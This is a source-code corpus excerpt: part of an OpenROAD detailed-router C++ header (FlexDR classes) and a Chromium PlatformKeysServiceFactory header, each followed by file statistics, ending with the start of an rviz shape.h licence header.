via=down, curr via=up, min required y dist // via2viaMinLen[z][4], prev via=up, curr via=down, min required x dist // via2viaMinLen[z][5], prev via=up, curr via=down, min required y dist // via2viaMinLen[z][6], prev via=up, curr via=up, min required x dist // via2viaMinLen[z][7], prev via=up, curr via=up, min required y dist std::vector<std::vector<frCoord>> via2viaMinLenNew; // via2turnMinLen[z][0], last via=down, min required x dist // via2turnMinLen[z][1], last via=down, min required y dist // via2turnMinLen[z][2], last via=up, min required x dist // via2turnMinLen[z][3], last via=up, min required y dist std::vector<std::vector<frCoord>> via2turnMinLen; }; class FlexDR { public: // constructors FlexDR(frDesign* designIn, Logger* loggerIn, odb::dbDatabase* dbIn); ~FlexDR(); // getters frTechObject* getTech() const { return design_->getTech(); } frDesign* getDesign() const { return design_; } frRegionQuery* getRegionQuery() const { return design_->getRegionQuery(); } // others int main(); const FlexDRViaData* getViaData() const { return &via_data_; } void setDebug(frDebugSettings* settings); protected: frDesign* design_; Logger* logger_; odb::dbDatabase* db_; std::vector<std::vector<std::map<frNet*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>>> gcell2BoundaryPin_; FlexDRViaData via_data_; std::vector<int> numViols_; std::unique_ptr<FlexDRGraphics> graphics_; std::string debugNetName_; // others void init(); void initFromTA(); void initGCell2BoundaryPin(); void getBatchInfo(int& batchStepX, int& batchStepY); void init_halfViaEncArea(); void init_via2viaMinLen(); frCoord init_via2viaMinLen_minSpc(frLayerNum lNum, frViaDef* viaDef1, frViaDef* viaDef2); frCoord init_via2viaMinLen_minimumcut1(frLayerNum lNum, frViaDef* viaDef1, frViaDef* viaDef2); bool init_via2viaMinLen_minimumcut2(frLayerNum lNum, frViaDef* viaDef1, frViaDef* viaDef2); void init_via2viaMinLenNew(); frCoord init_via2viaMinLenNew_minSpc(frLayerNum lNum, frViaDef* viaDef1, frViaDef* viaDef2, bool isCurrDirY); frCoord init_via2viaMinLenNew_minimumcut1(frLayerNum lNum, frViaDef* viaDef1, frViaDef* viaDef2, bool isCurrDirY); frCoord init_via2viaMinLenNew_cutSpc(frLayerNum lNum, frViaDef* viaDef1, frViaDef* viaDef2, bool isCurrDirY); frCoord init_via2turnMinLen_minSpc(frLayerNum lNum, frViaDef* viaDef, bool isCurrDirY); frCoord init_via2turnMinLen_minStp(frLayerNum lNum, frViaDef* viaDef, bool isCurrDirY); void init_via2turnMinLen(); void removeGCell2BoundaryPin(); std::map<frNet*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp> initDR_mergeBoundaryPin(int i, int j, int size, const Rect& routeBox); void searchRepair(int iter, int size, int offset, int mazeEndIter, frUInt4 workerDRCCost, frUInt4 workerMarkerCost, int ripupMode, bool followGuide); void end(bool writeMetrics = false); // utility void reportDRC(const std::string& file_name); }; class FlexDRWorker; class FlexDRWorkerRegionQuery { public: FlexDRWorkerRegionQuery(FlexDRWorker* in); ~FlexDRWorkerRegionQuery(); void add(drConnFig* connFig); void remove(drConnFig* connFig); void query(const Rect& box, const frLayerNum layerNum, std::vector<drConnFig*>& result) const; void query(const Rect& box, const frLayerNum layerNum, std::vector<rq_box_value_t<drConnFig*>>& result) const; void init(); void cleanup(); private: struct Impl; std::unique_ptr<Impl> impl_; }; class FlexDRMinAreaVio { public: // constructors FlexDRMinAreaVio() : net_(nullptr), gapArea_(0) {} FlexDRMinAreaVio(drNet* netIn, FlexMazeIdx bpIn, FlexMazeIdx epIn, frCoord gapAreaIn) : net_(netIn), bp_(bpIn), ep_(epIn), gapArea_(gapAreaIn) { } // setters void setDRNet(drNet* netIn) { net_ = netIn; } void setPoints(FlexMazeIdx bpIn, FlexMazeIdx epIn) { bp_ = bpIn; ep_ = epIn; } void setGapArea(frCoord gapAreaIn) { gapArea_ = gapAreaIn; } // getters drNet* getNet() const { return net_; } void getPoints(FlexMazeIdx& bpIn, FlexMazeIdx& epIn) const { bpIn = bp_; epIn = ep_; } frCoord getGapArea() const { return gapArea_; } protected: drNet* net_; FlexMazeIdx bp_, ep_; frCoord gapArea_; }; class FlexGCWorker; class FlexDRWorker { public: // constructors FlexDRWorker(const FlexDRViaData* via_data, frDesign* design, Logger* logger) : design_(design), logger_(logger), graphics_(nullptr), via_data_(via_data), routeBox_(), extBox_(), drcBox_(), drIter_(0), mazeEndIter_(1), followGuide_(false), needRecheck_(false), skipRouting_(false), ripupMode_(1), workerDRCCost_(ROUTESHAPECOST), workerMarkerCost_(MARKERCOST), boundaryPin_(), pinCnt_(0), initNumMarkers_(0), apSVia_(), fixedObjs_(), planarHistoryMarkers_(), viaHistoryMarkers_(), historyMarkers_(std::vector<std::set<FlexMazeIdx>>(3)), nets_(), owner2nets_(), gridGraph_(design->getTech(), this), markers_(), rq_(this), gcWorker_(nullptr) /*, drcWorker(drIn->getDesign())*/ { } // setters void setRouteBox(const Rect& boxIn) { routeBox_ = boxIn; } void setExtBox(const Rect& boxIn) { extBox_ = boxIn; } void setDrcBox(const Rect& boxIn) { drcBox_ = boxIn; } void setGCellBox(const Rect& boxIn) { gcellBox_ = boxIn; } void setDRIter(int in) { drIter_ = in; } void setDRIter(int in, std::map<frNet*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& bp) { drIter_ = in; boundaryPin_ = std::move(bp); } void setMazeEndIter(int in) { mazeEndIter_ = in; } void setRipupMode(int in) { ripupMode_ = in; } void setFollowGuide(bool in) { followGuide_ = in; } void setCost(frUInt4 drcCostIn, frUInt4 markerCostIn) { workerDRCCost_ = drcCostIn; workerMarkerCost_ = markerCostIn; } void setMarkers(std::vector<frMarker>& in) { markers_.clear(); Rect box; for (auto& marker : in) { marker.getBBox(box); if (getDrcBox().intersects(box)) { markers_.push_back(marker); } } } void setMarkers(const std::vector<std::unique_ptr<frMarker>>& in) { markers_.clear(); Rect box; for (auto& uMarker : in) { auto& marker = *uMarker; marker.getBBox(box); if (getDrcBox().intersects(box)) { markers_.push_back(marker); } } } void setMarkers(std::vector<frMarker*>& in) { markers_.clear(); Rect box; for (auto& marker : in) { marker->getBBox(box); if (getDrcBox().intersects(box)) { markers_.push_back(*marker); } } } void setBestMarkers() { bestMarkers_ = markers_; } void clearMarkers() { markers_.clear(); } void setInitNumMarkers(int in) { initNumMarkers_ = in; } void setGCWorker(FlexGCWorker* in) { gcWorker_ = unique_ptr<FlexGCWorker>(in); } void setGraphics(FlexDRGraphics* in) { graphics_ = in; gridGraph_.setGraphics(in); } // getters frTechObject* getTech() const { return design_->getTech(); } void getRouteBox(Rect& boxIn) const { boxIn = routeBox_; } const Rect& getRouteBox() const { return routeBox_; } Rect& getRouteBox() { return routeBox_; } void getExtBox(Rect& boxIn) const { boxIn = extBox_; } const Rect& getExtBox() const { return extBox_; } Rect& getExtBox() { return extBox_; } const Rect& getDrcBox() const { return drcBox_; } Rect& getDrcBox() { return drcBox_; } const Rect& getGCellBox() const { return gcellBox_; } bool isInitDR() const { return (drIter_ == 0); } int getDRIter() const { return drIter_; } int getMazeEndIter() const { return mazeEndIter_; } bool isFollowGuide() const { return followGuide_; } int getRipupMode() const { return ripupMode_; } const std::vector<std::unique_ptr<drNet>>& getNets() const { return nets_; } std::vector<std::unique_ptr<drNet>>& getNets() { return nets_; } const std::vector<drNet*>* getDRNets(frNet* net) const { auto it = owner2nets_.find(net); if (it != owner2nets_.end()) { return &(it->second); } else { return nullptr; } } frDesign* getDesign() { return design_; } const std::vector<frMarker>& getMarkers() const { return markers_; } std::vector<frMarker>& getMarkers() { return markers_; } const std::vector<frMarker>& getBestMarkers() const { return bestMarkers_; } std::vector<frMarker>& getBestMarkers() { return bestMarkers_; } const FlexDRWorkerRegionQuery& getWorkerRegionQuery() const { return rq_; } FlexDRWorkerRegionQuery& getWorkerRegionQuery() { return rq_; } int getInitNumMarkers() const { return initNumMarkers_; } int getNumMarkers() const { return markers_.size(); } int getBestNumMarkers() const { return bestMarkers_.size(); } FlexGCWorker* getGCWorker() { return gcWorker_.get(); } const FlexDRViaData* getViaData() const { return via_data_; } const FlexGridGraph& getGridGraph() const { return gridGraph_; } // others int main(frDesign* design); void end(frDesign* design); Logger* getLogger() { return logger_; } const vector<Point3D> getSpecialAccessAPs() const { return specialAccessAPs; } frCoord getHalfViaEncArea(frMIdx z, bool isLayer1, frNonDefaultRule* ndr); enum ModCostType { subRouteShape, addRouteShape, subFixedShape, addFixedShape, resetFixedShape, setFixedShape, resetBlocked, setBlocked }; private: typedef struct { frBlockObject* block; int numReroute; bool doRoute; } RouteQueueEntry; frDesign* design_; frTechObject* tech_; Logger* logger_; FlexDRGraphics* graphics_; // owned by FlexDR frDebugSettings* debugSettings_; const FlexDRViaData* via_data_; Rect routeBox_; Rect extBox_; Rect drcBox_; Rect gcellBox_; int drIter_; int mazeEndIter_; bool followGuide_ : 1; bool needRecheck_ : 1; bool skipRouting_ : 1; int ripupMode_; // drNetOrderingEnum netOrderingMode; frUInt4 workerDRCCost_, workerMarkerCost_; // used in init route as gr boundary pin std::map<frNet*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp> boundaryPin_; int pinCnt_; int initNumMarkers_; std::map<FlexMazeIdx, drAccessPattern*> apSVia_; std::vector<frBlockObject*> fixedObjs_; std::set<FlexMazeIdx> planarHistoryMarkers_; std::set<FlexMazeIdx> viaHistoryMarkers_; std::vector<std::set<FlexMazeIdx>> historyMarkers_; // local storage std::vector<std::unique_ptr<drNet>> nets_; std::map<frNet*, std::vector<drNet*>> owner2nets_; FlexGridGraph gridGraph_; std::vector<frMarker> markers_; std::vector<frMarker> bestMarkers_; FlexDRWorkerRegionQuery rq_; // persistant gc worker unique_ptr<FlexGCWorker> gcWorker_; // on-the-fly access points that require adding access edges in the grid graph vector<Point3D> specialAccessAPs; // init void init(const frDesign* design); void initNets(const frDesign* design); void initNetObjs( const frDesign* design, std::set<frNet*, frBlockObjectComp>& nets, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netRouteObjs, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netExtObjs, std::map<frNet*, std::vector<frRect>, frBlockObjectComp>& netOrigGuides); void initNetObjs_pathSeg(frPathSeg* pathSeg, std::set<frNet*, frBlockObjectComp>& nets, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netRouteObjs, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netExtObjs); void initNetObjs_via(frVia* via, std::set<frNet*, frBlockObjectComp>& nets, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netRouteObjs, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netExtObjs); void initNetObjs_patchWire(frPatchWire* pwire, std::set<frNet*, frBlockObjectComp>& nets, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netRouteObjs, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netExtObjs); void initNets_initDR( const frDesign* design, std::set<frNet*, frBlockObjectComp>& nets, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netRouteObjs, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netExtObjs, std::map<frNet*, std::vector<frRect>, frBlockObjectComp>& netOrigGuides); void initNets_searchRepair( const frDesign* design, std::set<frNet*, frBlockObjectComp>& nets, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netRouteObjs, std::map<frNet*, std::vector<std::unique_ptr<drConnFig>>, frBlockObjectComp>& netExtObjs, std::map<frNet*, std::vector<frRect>, frBlockObjectComp>& netOrigGuides); void initNets_searchRepair_pin2epMap( const frDesign* design, frNet* net, std::vector<std::unique_ptr<drConnFig>>& netRouteObjs, std::map<frBlockObject*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& pin2epMap); void initNets_searchRepair_pin2epMap_helper( const frDesign* design, frNet* net, const Point& bp, frLayerNum lNum, std::map<frBlockObject*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& pin2epMap, bool isPathSeg); void initNets_searchRepair_nodeMap( frNet* net, std::vector<std::unique_ptr<drConnFig>>& netRouteObjs, std::vector<frBlockObject*>& netPins, std::map<frBlockObject*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& pin2epMap, std::map<std::pair<Point, frLayerNum>, std::set<int>>& nodeMap); void initNets_searchRepair_nodeMap_routeObjEnd( frNet* net, std::vector<std::unique_ptr<drConnFig>>& netRouteObjs, std::map<std::pair<Point, frLayerNum>, std::set<int>>& nodeMap); void initNets_searchRepair_nodeMap_routeObjSplit( frNet* net, std::vector<std::unique_ptr<drConnFig>>& netRouteObjs, std::map<std::pair<Point, frLayerNum>, std::set<int>>& nodeMap); void initNets_searchRepair_nodeMap_routeObjSplit_helper( const Point& crossPt, frCoord trackCoord, frCoord splitCoord, frLayerNum lNum, std::vector< std::map<frCoord, std::map<frCoord, std::pair<frCoord, int>>>>& mergeHelper, std::map<std::pair<Point, frLayerNum>, std::set<int>>& nodeMap); void initNets_searchRepair_nodeMap_pin( frNet* net, std::vector<std::unique_ptr<drConnFig>>& netRouteObjs, std::vector<frBlockObject*>& netPins, std::map<frBlockObject*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& pin2epMap, std::map<std::pair<Point, frLayerNum>, std::set<int>>& nodeMap); void initNets_searchRepair_connComp( frNet* net, std::map<std::pair<Point, frLayerNum>, std::set<int>>& nodeMap, std::vector<int>& compIdx); void initNet(const frDesign* design, frNet* net, std::vector<std::unique_ptr<drConnFig>>& routeObjs, std::vector<std::unique_ptr<drConnFig>>& extObjs, std::vector<frRect>& origGuides, std::vector<frBlockObject*>& terms); void initNet_term_new(const frDesign* design, drNet* dNet, std::vector<frBlockObject*>& terms); void initNet_termGenAp_new(const frDesign* design, drPin* dPin); bool isRestrictedRouting(frLayerNum lNum); void initNet_addNet(std::unique_ptr<drNet> in); void getTrackLocs(bool isHorzTracks, frLayerNum currLayerNum, frCoord low, frCoord high, std::set<frCoord>& trackLocs); bool findAPTracks(frLayerNum startLayerNum, frLayerNum endLayerNum, Rectangle& pinRect, std::set<frCoord>& xLocs, std::set<frCoord>& yLocs); void initNet_boundary(drNet* net, std::vector<std::unique_ptr<drConnFig>>& extObjs); void initNets_regionQuery(); void initNets_numPinsIn(); void initNets_boundaryArea(); void initGridGraph(const frDesign* design); void initTrackCoords( std::map<frCoord, std::map<frLayerNum, frTrackPattern*>>& xMap, std::map<frCoord, std::map<frLayerNum, frTrackPattern*>>& yMap); void initTrackCoords_route( drNet* net, std::map<frCoord, std::map<frLayerNum, frTrackPattern*>>& xMap, std::map<frCoord, std::map<frLayerNum, frTrackPattern*>>& yMap); void initTrackCoords_pin( drNet* net, std::map<frCoord, std::map<frLayerNum, frTrackPattern*>>& xMap, std::map<frCoord, std::map<frLayerNum, frTrackPattern*>>& yMap); void initMazeIdx(); void initMazeIdx_connFig(drConnFig* connFig); void initMazeIdx_ap(drAccessPattern* ap); void initMazeCost(const frDesign* design); void initMazeCost_connFig(); void initMazeCost_planarTerm(const frDesign* design); void initMazeCost_pin(drNet* net, bool isAddPathCost); void initMazeCost_fixedObj(const frDesign* design); void initMazeCost_terms(const std::set<frBlockObject*>& objs, bool isAddPathCost, bool isSkipVia = false); void initMazeCost_ap(); // disable maze edge void initMazeCost_marker_route_queue(const frMarker& marker); void initMazeCost_marker_route_queue_addHistoryCost(const frMarker& marker); // void initMazeCost_via(); void initMazeCost_via_helper(drNet* net, bool isAddPathCost); void initMazeCost_minCut_helper(drNet* net, bool isAddPathCost); void initMazeCost_guide_helper(drNet* net, bool isAdd); void initMazeCost_ap_helper(drNet* net, bool isAddPathCost); void initMazeCost_ap_planarGrid_helper(const FlexMazeIdx& mi, const frDirEnum& dir, frCoord bloatLen, bool isAddPathCost); void initMazeCost_boundary_helper(drNet* net, bool isAddPathCost); // DRC void initFixedObjs(const frDesign* design); void initMarkers(const frDesign* design); // route_queue void route_queue(); void route_queue_main(std::queue<RouteQueueEntry>& rerouteQueue); void modEolCosts_poly(gcNet* net, ModCostType modType); void modEolCosts_poly(gcPin* shape, frLayer* layer, ModCostType modType); void modEolCost(frCoord low, frCoord high, frCoord line, bool isVertical, bool innerIsHigh, frLayer* layer, ModCostType modType); void route_queue_resetRipup(); void route_queue_markerCostDecay(); void route_queue_addMarkerCost( const std::vector<std::unique_ptr<frMarker>>& markers); void route_queue_addMarkerCost(); void route_queue_init_queue(std::queue<RouteQueueEntry>& rerouteQueue); void route_queue_update_from_marker( frMarker* marker, std::set<frBlockObject*>& uniqueVictims, std::set<frBlockObject*>& uniqueAggressors, std::vector<RouteQueueEntry>& checks, std::vector<RouteQueueEntry>& routes); void route_queue_update_queue(const std::vector<RouteQueueEntry>& checks, const std::vector<RouteQueueEntry>& routes, std::queue<RouteQueueEntry>& rerouteQueue); void route_queue_update_queue( const std::vector<std::unique_ptr<frMarker>>& markers, std::queue<RouteQueueEntry>& rerouteQueue); bool canRipup(drNet* n); // route void addPathCost(drConnFig* connFig, bool modEol = false, bool modCutSpc = false); void subPathCost(drConnFig* connFig, bool modEol = false, bool modCutSpc = false); void modPathCost(drConnFig* connFig, ModCostType type, bool modEol = false, bool modCutSpc = false); // minSpc void modMinSpacingCostPlanar(const Rect& box, frMIdx z, ModCostType type, bool isBlockage = false, frNonDefaultRule* ndr = nullptr, bool isMacroPin = false); void modCornerToCornerSpacing(const Rect& box, frMIdx z, ModCostType type); void modMinSpacingCostVia(const Rect& box, frMIdx z, ModCostType type, bool isUpperVia, bool isCurrPs, bool isBlockage = false, frNonDefaultRule* ndr = nullptr); void modCornerToCornerSpacing_helper(const Rect& box, frMIdx z, ModCostType type); void modMinSpacingCostVia_eol(const Rect& box, const Rect& tmpBx, ModCostType type, bool isUpperVia, const drEolSpacingConstraint& drCon, frMIdx i, frMIdx j, frMIdx z); void modMinSpacingCostVia_eol_helper(const Rect& box, const Rect& testBox, ModCostType type, bool isUpperVia, frMIdx i, frMIdx j, frMIdx z); // eolSpc void modEolSpacingCost_helper(const Rect& testbox, frMIdx z, ModCostType type, int eolType); void modEolSpacingRulesCost(const Rect& box, frMIdx z, ModCostType type, bool isSkipVia = false, frNonDefaultRule* ndr = nullptr); // cutSpc void modCutSpacingCost(const Rect& box, frMIdx z, ModCostType type, bool isBlockage = false, int avoidI = -1, int avoidJ = -1); void modInterLayerCutSpacingCost(const Rect& box, frMIdx z, ModCostType type, bool isUpperVia, bool isBlockage = false); // adjCut void modAdjCutSpacingCost_fixedObj(const frDesign* design, const Rect& box, frVia* origVia); void modMinimumcutCostVia(const Rect& box, frMIdx z, ModCostType type, bool isUpperVia); void modViaForbiddenThrough(const FlexMazeIdx& bi, const FlexMazeIdx& ei, ModCostType type); void modBlockedPlanar(const Rect& box, frMIdx z, bool setBlock); void modBlockedVia(const Rect& box, frMIdx z, bool setBlock); bool mazeIterInit_sortRerouteNets(int mazeIter, std::vector<drNet*>& rerouteNets); void mazeNetInit(drNet* net); void mazeNetEnd(drNet* net); bool routeNet(drNet* net); void routeNet_prep(drNet* net, std::set<drPin*, frBlockObjectComp>& pins, std::map<FlexMazeIdx, std::set<drPin*, frBlockObjectComp>>& mazeIdx2unConnPins, std::set<FlexMazeIdx>& apMazeIdx, std::set<FlexMazeIdx>& realPinAPMazeIdx, std::map<FlexMazeIdx, frBox3D*>& mazeIdx2TaperBox, list<pair<drPin*, frBox3D>>& pinTaperBoxes); void routeNet_prepAreaMap(drNet* net, std::map<FlexMazeIdx, frCoord>& areaMap); void routeNet_setSrc( std::set<drPin*, frBlockObjectComp>& unConnPins, std::map<FlexMazeIdx, std::set<drPin*, frBlockObjectComp>>& mazeIdx2unConnPins, std::vector<FlexMazeIdx>& connComps, FlexMazeIdx& ccMazeIdx1, FlexMazeIdx& ccMazeIdx2, Point& centerPt); void mazePinInit(); drPin* routeNet_getNextDst( FlexMazeIdx& ccMazeIdx1, FlexMazeIdx& ccMazeIdx2, std::map<FlexMazeIdx, std::set<drPin*, frBlockObjectComp>>& mazeIdx2unConnPins, list<pair<drPin*, frBox3D>>& pinTaperBoxes); void routeNet_postAstarUpdate( std::vector<FlexMazeIdx>& path, std::vector<FlexMazeIdx>& connComps, std::set<drPin*, frBlockObjectComp>& unConnPins, std::map<FlexMazeIdx, std::set<drPin*, frBlockObjectComp>>& mazeIdx2unConnPins, bool isFirstConn); void routeNet_postAstarWritePath( drNet* net, std::vector<FlexMazeIdx>& points, const std::set<FlexMazeIdx>& realPinApMazeIdx, std::map<FlexMazeIdx, frBox3D*>& mazeIdx2Taperbox, const set<FlexMazeIdx>& apMazeIdx); void setNDRStyle(drNet* net, frSegStyle& currStyle, frMIdx startX, frMIdx endX, frMIdx startY, frMIdx endY, frMIdx z, FlexMazeIdx* prev, FlexMazeIdx* next); bool isInsideTaperBox(frMIdx x, frMIdx y, frMIdx startZ, frMIdx endZ, map<FlexMazeIdx, frBox3D*>& mazeIdx2TaperBox); bool splitPathSeg(frMIdx& midX, frMIdx& midY, bool& taperFirstPiece, frMIdx startX, frMIdx startY, frMIdx endX, frMIdx endY, frMIdx z, frBox3D* srcBox, frBox3D* dstBox, drNet* net); void processPathSeg(frMIdx startX, frMIdx startY, frMIdx endX, frMIdx endY, frMIdx z, const set<FlexMazeIdx>& realApMazeIdx, drNet* net, bool vertical, bool taper, int i, vector<FlexMazeIdx>& points, const set<FlexMazeIdx>& apMazeIdx); bool isInWorkerBorder(frCoord x, frCoord y) const; void checkPathSegStyle(drPathSeg* ps, bool isBegin, frSegStyle& style, const set<FlexMazeIdx>& apMazeIdx, const FlexMazeIdx& idx); void checkViaConnectivityToAP(drVia* ps, bool isBottom, frNet* net, const set<FlexMazeIdx>& apMazeIdx, const FlexMazeIdx& idx); bool hasAccessPoint(const Point& pt, frLayerNum lNum, frNet* net); void routeNet_postAstarPatchMinAreaVio( drNet* net, const std::vector<FlexMazeIdx>& path, const std::map<FlexMazeIdx, frCoord>& areaMap); void routeNet_postAstarAddPatchMetal(drNet* net, const FlexMazeIdx& bpIdx, const FlexMazeIdx& epIdx, frCoord gapArea, frCoord patchWidth, bool bpPatchStyle = true, bool epPatchStyle = false); int routeNet_postAstarAddPathMetal_isClean(const FlexMazeIdx& bpIdx, bool isPatchHorz, bool isPatchLeft, frCoord patchLength); void routeNet_postAstarAddPatchMetal_addPWire(drNet* net, const FlexMazeIdx& bpIdx, bool isPatchHorz, bool isPatchLeft, frCoord patchLength, frCoord patchWidth); void routeNet_postRouteAddPathCost(drNet* net); void routeNet_AddCutSpcCost(vector<FlexMazeIdx>& path); void routeNet_postRouteAddPatchMetalCost(drNet* net); // end void cleanup(); void endGetModNets(std::set<frNet*, frBlockObjectComp>& modNets); void endRemoveNets(frDesign* design, std::set<frNet*, frBlockObjectComp>& modNets, std::map<frNet*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& boundPts); void endRemoveNets_pathSeg( frDesign* design, frPathSeg* pathSeg, std::set<std::pair<Point, frLayerNum>>& boundPts); void endRemoveNets_via(frDesign* design, frVia* via); void endRemoveNets_patchWire(frDesign* design, frPatchWire* pwire); void endAddNets(frDesign* design, std::map<frNet*, std::set<std::pair<Point, frLayerNum>>, frBlockObjectComp>& boundPts); void endAddNets_pathSeg(frDesign* design, drPathSeg* pathSeg); void endAddNets_via(frDesign* design, drVia* via); void endAddNets_patchWire(frDesign* design, drPatchWire* pwire); void endAddNets_merge(frDesign* design, frNet* net, std::set<std::pair<Point, frLayerNum>>& boundPts); void endRemoveMarkers(frDesign* design); void endAddMarkers(frDesign* design); }; } // namespace fr #endif
39.38149
84
0.592743
[ "shape", "vector" ]
5cae0577d0d072ad614304599109b20765dbb367
3,728
h
C
chrome/browser/chromeos/platform_keys/platform_keys_service_factory.h
iridium-browser/iridium-browser
907e31cf5ce5ad14d832796e3a7c11e496828959
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
575
2015-06-18T23:58:20.000Z
2022-03-23T09:32:39.000Z
chrome/browser/chromeos/platform_keys/platform_keys_service_factory.h
iridium-browser/iridium-browser
907e31cf5ce5ad14d832796e3a7c11e496828959
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
113
2015-05-04T09:58:14.000Z
2022-01-31T19:35:03.000Z
chrome/browser/chromeos/platform_keys/platform_keys_service_factory.h
DamieFC/chromium
54ce2d3c77723697efd22cfdb02aea38f9dfa25c
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
52
2015-07-14T10:40:50.000Z
2022-03-15T01:11:49.000Z
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_CHROMEOS_PLATFORM_KEYS_PLATFORM_KEYS_SERVICE_FACTORY_H_ #define CHROME_BROWSER_CHROMEOS_PLATFORM_KEYS_PLATFORM_KEYS_SERVICE_FACTORY_H_ #include "components/keyed_service/content/browser_context_keyed_service_factory.h" namespace base { template <typename T> struct DefaultSingletonTraits; } // namespace base namespace chromeos { namespace platform_keys { class PlatformKeysService; // Factory to create PlatformKeysService. class PlatformKeysServiceFactory : public BrowserContextKeyedServiceFactory { public: static PlatformKeysService* GetForBrowserContext( content::BrowserContext* context); static PlatformKeysServiceFactory* GetInstance(); // Returns an instance of PlatformKeysService that allows operations on the // device-wide key store and is not tied to a user. // The lifetime of the returned service is tied to the // PlatformKeysServiceFactory itself. PlatformKeysService* GetDeviceWideService(); // When call with a nun-nullptr |device_wide_service_for_testing|, subsequent // calls to GetDeviceWideService() will return the passed pointer. // When called with nullptr, subsequent calls to GetDeviceWideService() will // return the default device-wide PlatformKeysService again. // The caller is responsible that this is called with nullptr before an object // previously passed in is destroyed. void SetDeviceWideServiceForTesting( PlatformKeysService* device_wide_service_for_testing); // If |is_testing_mode| is true, the factory will return platform keys service // instances ready to be used in tests. // Note: Softoken NSS PKCS11 module (used for testing) allows only predefined // key attributes to be set and retrieved. Chaps supports setting and // retrieving custom attributes. If |map_to_softoken_attrs_for_testing_| is // true, the factory will return services that will use fake KeyAttribute // mappings predefined in softoken module for testing. Otherwise, the real // mappings to constants in // third_party/cros_system_api/constants/pkcs11_custom_attributes.h will be // used. void SetTestingMode(bool is_testing_mode); private: friend struct base::DefaultSingletonTraits<PlatformKeysServiceFactory>; PlatformKeysServiceFactory(); PlatformKeysServiceFactory(const PlatformKeysServiceFactory&) = delete; PlatformKeysServiceFactory& operator=(const PlatformKeysServiceFactory&) = delete; ~PlatformKeysServiceFactory() override; // BrowserContextKeyedServiceFactory: content::BrowserContext* GetBrowserContextToUse( content::BrowserContext* context) const override; KeyedService* BuildServiceInstanceFor( content::BrowserContext* context) const override; void BrowserContextShutdown(content::BrowserContext* context) override; PlatformKeysService* GetOrCreateDeviceWideService(); // A PlatformKeysService that is not tied to a Profile/User and only has // access to the system token. // Initialized lazily. std::unique_ptr<PlatformKeysService> device_wide_service_; PlatformKeysService* device_wide_service_for_testing_ = nullptr; bool map_to_softoken_attrs_for_testing_ = false; }; } // namespace platform_keys } // namespace chromeos // TODO(https://crbug.com/1164001): remove when // //chrome/browser/chromeos/platform_keys moved to ash namespace ash { namespace platform_keys { using ::chromeos::platform_keys::PlatformKeysServiceFactory; } // namespace platform_keys } // namespace ash #endif // CHROME_BROWSER_CHROMEOS_PLATFORM_KEYS_PLATFORM_KEYS_SERVICE_FACTORY_H_
39.659574
83
0.798283
[ "object" ]
5cb0e4c837fcc18f5b2320ae4460136beb0f7d6f
3,832
h
C
melodic/include/rviz/ogre_helpers/shape.h
Dieptranivsr/Ros_Diep
d790e75e6f5da916701b11a2fdf3e03b6a47086b
[ "MIT" ]
null
null
null
melodic/include/rviz/ogre_helpers/shape.h
Dieptranivsr/Ros_Diep
d790e75e6f5da916701b11a2fdf3e03b6a47086b
[ "MIT" ]
1
2021-07-08T10:26:06.000Z
2021-07-08T10:31:11.000Z
melodic/include/rviz/ogre_helpers/shape.h
Dieptranivsr/Ros_Diep
d790e75e6f5da916701b11a2fdf3e03b6a47086b
[ "MIT" ]
null
null
null
/* * Copyright (c) 2008, Willow Garage, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Willow Garage, Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef 